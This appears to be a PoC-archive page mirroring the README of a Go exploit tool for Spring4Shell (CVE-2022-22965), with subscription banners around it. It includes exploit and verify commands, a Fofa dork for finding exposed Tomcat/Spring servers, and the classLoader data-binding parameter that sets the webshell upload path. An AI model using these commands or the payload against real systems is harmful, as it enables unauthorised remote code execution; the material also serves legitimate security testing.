Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Description
Spring4Shell (CVE-2022-22965)
Readme
# CVE-2022-22965
Spring4Shell (CVE-2022-22965)

## Usage

### 1. show info

```bash
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "CVE-2022-22965",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "",
  "VulDate": "2022-03-30",
  "References": [
    "https://nosec.org/home/detail/4983.html"
  ],
  "AppName": "Spring Core",
  "AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
  "AppVersion": "All",
  "VulType": "RCE",
  "Description": "An unauthenticated attacker can use this vulnerability to perform remote arbitrary code execution. The vulnerability is widespread in the Spring framework and derived frameworks, and JDK 9.0 and above are affected.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     
```

### 2. verify

```bash
echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/
```

### 3. exploit

```bash
echo http://127.0.0.1:8181/ | go run main.go -m exploit -v
```

Maybe require changing the file upload path, which by default is "webapps/ROOT"

```
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/
```

## Disclaimer

This procedure is for security self-inspection only, please consciously comply with local laws.
File Snapshot

[4.0K] /data/pocs/a58b2fbb64df96f38ab9725f1c78e4ba4ff8b620 ├── [ 483] go.mod ├── [4.3K] go.sum ├── [ 13K] main.go └── [1.5K] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →